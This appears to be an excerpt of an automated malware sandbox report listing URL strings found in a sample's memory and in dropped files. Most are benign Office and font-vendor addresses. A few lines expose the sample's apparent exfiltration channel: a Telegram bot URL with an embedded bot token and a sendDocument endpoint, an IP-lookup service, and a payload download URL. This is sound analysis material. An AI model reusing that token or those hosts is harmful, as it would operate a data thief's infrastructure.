Source: PROMZwFp385vXrN.exe, 0000000F.00000003.510115416.0000000005C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/w=
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.502412410.0000000005C23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/A=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.501028952.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/Y=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.500643017.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/e=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.500643017.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.501028952.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/j=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.500643017.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.501028952.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.501028952.0000000005C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/e=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.501470358.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.502412410.0000000005C23000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/w=
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.510020800.0000000005C12000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.monotype.
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.504305788.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.monotype.s
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.496556163.0000000005C21000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496660729.0000000005C22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.K%
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.496556163.0000000005C21000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496660729.0000000005C22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.comf(
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.496556163.0000000005C21000.00000004.00000800.00020000.00000000.sdmp, PROMZwFp385vXrN.exe, 0000000F.00000003.496660729.0000000005C22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.comnP(
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: PROMZwFp385vXrN.exe, 0000000F.00000002.597253732.0000000006E22000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: PROMZwFp385vXrN.exe, 0000000F.00000003.497115569.0000000005C43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cna
Source: PROMZwFp385vXrN.exe, 00000011.00000002.628798614.0000000003332000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://wz5PFqmQeks9Nrk59.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.aadrm.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.aadrm.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.cortana.ai
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.diagnostics.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org/
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.orgappdataPMoZbwPMoZbw.exe/http://YJEXbs.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.microsoftstream.com/api/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.office.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.onedrive.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://api.scheduler.
Source: PROMZwFp385vXrN.exe, 00000011.00000002.629483672.0000000003370000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5187914704:AAHhM5YfeLYR_Ow0fgwMOZKO7je7btbh5DA/
Source: PROMZwFp385vXrN.exe, 00000011.00000002.621651605.00000000030C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5187914704:AAHhM5YfeLYR_Ow0fgwMOZKO7je7btbh5DA/1673982758%discordapi%yyy
Source: PROMZwFp385vXrN.exe, 00000011.00000002.629483672.0000000003370000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5187914704:AAHhM5YfeLYR_Ow0fgwMOZKO7je7btbh5DA/sendDocument
Source: PROMZwFp385vXrN.exe, 00000011.00000002.629483672.0000000003370000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org4
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://apis.live.net/v5.0/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://augloop.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://augloop.office.com/v2
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cdn.entity.
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://clients.config.office.net/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://config.edge.skype.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cortana.ai
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cortana.ai/api
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://cr.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dev.cortana.ai
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://devnull.onenote.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://directory.services.
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://graph.ppe.windows.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://graph.ppe.windows.net/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://graph.windows.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://graph.windows.net/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://incidents.diagnostics.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://invites.office.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://lifecycle.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://login.microsoftonline.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://login.windows.local
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://management.azure.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://management.azure.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.action.office.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.engagement.office.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://messaging.office.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ncus.contentsync.
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://officeapps.live.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://onedrive.live.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://osi.office.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://otelrules.azureedge.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office365.com
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office365.com/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://pages.store.office.com/review/query
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://powerlift.acompli.net
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 059BE406-184C-47DB-8766-13F9D87050E0.0.dr String found in binary or memory: https://pushchannel.1drv.ms
Source: ~WRS{1FCF93C7-36B2-4597-9FFA-7A18301AC743}.tmp.0.dr String found in binary or memory: https://pzsrblog.com/wp-content/uploads/2012/PROMZwFp385vXr
